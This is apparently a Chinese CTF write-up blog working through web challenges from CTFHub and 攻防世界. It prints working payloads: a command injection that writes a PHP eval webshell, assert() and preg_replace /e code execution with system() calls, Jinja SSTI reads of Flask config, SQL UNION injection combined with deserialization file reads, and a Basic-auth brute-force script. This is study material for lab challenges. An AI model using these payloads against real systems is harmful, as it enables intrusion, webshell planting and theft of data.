文章目录
Http协议
基础认证
- 这道题是个cookie欺骗类型的题目
- 抓个包就能发现基础认证的形式是admin:password的base64的加密形式
- 题目给了一个密码的字典 自己写了个脚本跑出了一下base64的加密形式
- 主要记录一下自己写的垃圾脚本
import base64
import os
import re
fo = open("test/10_million_password_list_top_100.txt","r")
txt_list=[]
for i in range(0,100):
list1 = fo.readline()
# 123456
list1 = "admin:"+list1
# admin:123456
list1 = re.sub('\n','',list1)
# 去除换行符
list1 = list1.encode()
# b'admin:123456\n'
list1 = base64.b64encode(list1)
list1 = str(list1,'utf-8')
print('第%i个'%i,list1)
txt_list.append(list1)
pass
fo.close()
fo1 = open('answer.txt',"w")
for j in range(0,100):
fo1.write(txt_list[j])
fo1.write('\r')
fo1.close()
print('okkkkkkkkk!!!!!')
- 跑出来之后bp爆破一下 就能得到flag
vim缓存
一、vim备份文件
- 默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
- eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
二、vim临时文件
- vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件
- .submit.swp。如果文件正常退出,则此文件自动删除。
- 这道题就是.index.php.swp 记事本打开ctrl+f搜一下ctfhub
.DS_Store
- .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
- 直接访问.DS_Store文件 下载下来 打开里面有给了个txt文件
- 再次访问就能得到flag了 二进制文件真的头疼
RCE
过滤目录分隔符
- 两种解法
- 第一种:
127.0.0.1&echo '<?php eval($_REQUEST[1]);?>' >1.php
- 蚁剑连接!!!
- 第二种
127.0.0.1&cd flag_is_here;cat flag_94832961815695.php
过滤运算符
攻防世界
mfw
- 查看源码给了提示page=flag
- 在about页面发现了git 怀疑是git泄露 果然!!!
- githack下载一下源码 - 有个index.php文件还有templates文件夹下面有
about.php flag.php concat.php home.php
四个文件 - 审计一下index.php文件 #后是自己的理解
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
# 如果没有传page参数 则默认为home
$file = "templates/" . $page . ".php";
# 拼接字符串 赋值给file
// I heard '..' is dangerous!
# assert()函数类似于eval()函数会将字符串当成php语句执行
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
- 这里主要的知识点就是assert()函数会将字符串执行且没有像eval()一样严格要去php的格式
- 所以这里构造了一个payload
page=a') or system("cat templates/flag.php");//
- 得到flag
shrine
- 真的怕做到框架的题目 每次做框架 都感觉自己像没做过一样
- 这道题直接给了源码 简单的整理一下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
- 这道题解题的关键就在于
@app.route('/shrine/<path:shrine>')
这个路由下 - 很明显是一个ssti注入且加上了过滤
- 将小括号替换为空字符串 且列了黑名单
config,self
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
这里会遍历一次黑名单,并且将其值设置为空,所以传入config的值为NULL 好久没看到这种形式的遍历了- 这样的话,我们就要想想怎么得到flag了
- 这里利用了python的内置函数url_for
- 具体如下
http://111.200.241.244:35301/shrine/%7B%7Burl_for.__globals__%7D%7D
- 发现
'current_app': <Flask 'app'>
- 所以尝试读取一下current_app
http://111.200.241.244:35301/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D
- 得到flag
- 或者利用
get_flashed_messages
函数 http://111.200.241.244:35301/shrine/%7B%7Bget_flashed_messages.__globals__['current_app'].config['FLAG']%7D%7D
easytornado
- 这道题在buu做过
- 点击/flag.txt进入提示flag在/fllllllllllllag下
- 访问后 页面跳转到
http://111.200.241.244:43226/error?msg=Error
- 看到这里就很容易想到ssti模板注入
- 接着看welcome.txt 和 hints.txt告诉你如何得到flag
http://111.200.241.244:43226/error?msg={{handler.settings}}
得到cookie_secret- 脚本 获得加密后的filehash
import hashlib
filename = '/fllllllllllllag'
cookie_secret = 'e3f0ea2b-dbe5-4d58-a362-a024fcd60f85'
md5 = hashlib.md5() # 创建md5对象
md5.update(filename.encode('utf-8')) # 注意一定要用utf-8编码
md5_filename = md5.hexdigest() # 得到filename的md5加密结果
md5 = hashlib.md5() # 注意每次利用md5的时候需要重新创建md5对象 md5.update()会将每次的字符串拼接 已踩坑
md5.update((cookie_secret + md5_filename).encode('utf-8'))
md5_answer =md5.hexdigest()
print(md5_answer)
# 结果 : 9cc578c0bd00d65e9b253810e40dd065
http://111.200.241.244:43226/file?filename=/fllllllllllllag&filehash=9cc578c0bd00d65e9b253810e40dd065
- 得到flag
Web_python_template_injection
- 这道题直接告诉你是SSTI模板注入了 确定一下
- 做到这里
- 想到了以前做过的fakegoogle
- 尝试获取一下flag
{{[].__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
- 找到flag文件
- 之后利用
{{[].__class__.__bases__[0].__subclasses__()[40]('fl4g').read()}}
得到flag- 这里推荐一下学习的文章
- ssti入门学习
fakebook
- 这道题一开始的sql注入我就不复习了 拿前面的用了
?no=100/**/union/**/select 1,group_concat(data),3,4 from users#
- 接下来就是代码审计和序列化的工作了 问就是做过- 用dirsearch扫了一下题目 终于扫成功了一次 感动死了
- 发现
robots.txt
文件 访问一下 发现了备份文件/user.php.bak
下载下来审计一下
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
# 传入注册的信息 name age blog
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
# 初始化一个curl会话 供curl_setopt(), curl_exec()和curl_close() 函数使用。
curl_setopt($ch, CURLOPT_URL, $url);
# curl_setopt : 请求一个url CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
# 将curl_exec()获取的信息以文件流的形式返回
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
# 关闭会话
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
- 既然curl_exec()会读取文件的内容 我们就要在curl_exec()的参数里面搞点技巧
- 既然我们传入no=1的时候页面返回的是我们注册时候的信息
- 那如果我们在注入的时候将序列化后的信息放在注入的1,2,3,4位置上会出现什么情况呢
?no=100/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:18;s:4:"blog";s:9:"123qq.com";}'#
页面返回了我们正常访问的界面 - 既然这样我们就可以利用blog的值去获取flag
no=100/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
- F12 解码获取flag
Cat
- 输入127.0.0.1返回127.0.0.1对应的ping值
- 第一个反应是 命令注入 尝试
127.0.0.1||ls 127.0.0.1|ls 127.0.0.1;ls
等等都被过滤了 - 已经超过我现在学习的知识了 wp看了起来(我第10086次感叹web之路的困难)
- url编码表
- 看了wp知道可以上传url编码
- 例如在url上传入
?url=%70
会解码为?url=p
- 利用%80超出ascii编码范围 进行报错
- 将报错信息赋值到自己新建的
1.html
文件打开看会轻松点 截取部分
- 得!又是框架
- wp上说比赛时候有一个提示
RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
- 学习一下 这里提示我们用@去读取文件的内容 且在报错中告诉了我们绝对路径为
/opt/api
- 但是接下来涉及到开发的知识我又开始懵逼了 先看再说
- django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库)
- 如果使用的是其它数据库的话settings.py则设置用户名和密码
- 所以利用
?url=@/opt/api/api/settings.py
- 再次去读取文件?url=@/opt/api/database.sqlite3
NaNNaNNaNNaN-Batman
- 下载源码 看了一下是js代码 用浏览器浏览了一下
- 点击Ok没有反应
- 再次去看了一下代码 发现结尾的eval(_) 中的_就是函数,eval改为alert
- 赋值弹框中的代码进行审计
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)}
}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _
- 满足正则表达式 就会输出flag 我感觉拼出来蛮难的
payload:be0f23233ace98aac7be9
- 也可以直接把代码拿出来
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);
s[o%4].splice(0,1)}
- 得到
flag{it's_a_h0le_in_0ne}
Newscenter
- 访问是个新闻界面 看到了Search news
- 随便输入了个1 2 3 进去 发现1 2 都有返回新闻 3 没有返回
- 研究猜想了一下 发现1 2 返回大概因为新闻里面有数字1和2 而 没有新闻内容中有3
- 这里我首先想到了sql注入
1'
返回了一个空白页面!!! 报错被码了 - 接着order by 判断字段数
1' order by 4#
页面再次报错 1' uinon select 1,2,database()#
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
1' union select 1,version(),fl4g from news.secret_table#
ics-05
- 题目提示:
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
- 访问设备维护中心页面 查看源码 发现了一个
?page=index.php
- 可能是个SSRF
?page=php://filter/read=convert.base64-encode/resource=index.php
- base64解码 审计一下
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
- 这里的考点是preg_replace 如果$pattern用了/e修饰符 则替换后的语句会被当做php语句执行
- 所以构造如下的payload
?pat=/abc/e&rep=system('ls')&sub=abc
?pat=/abc/e&rep=system("cd%20s3chahahaDir;ls")&sub=abc
?pat=/abc/e&rep=system("cd%20s3chahahaDir;cd%20flag;ls")&sub=abc
?pat=/abc/e&rep=system("cd%20s3chahahaDir;cd%20flag;cat%20flag.php")&sub=abc
- 得到flag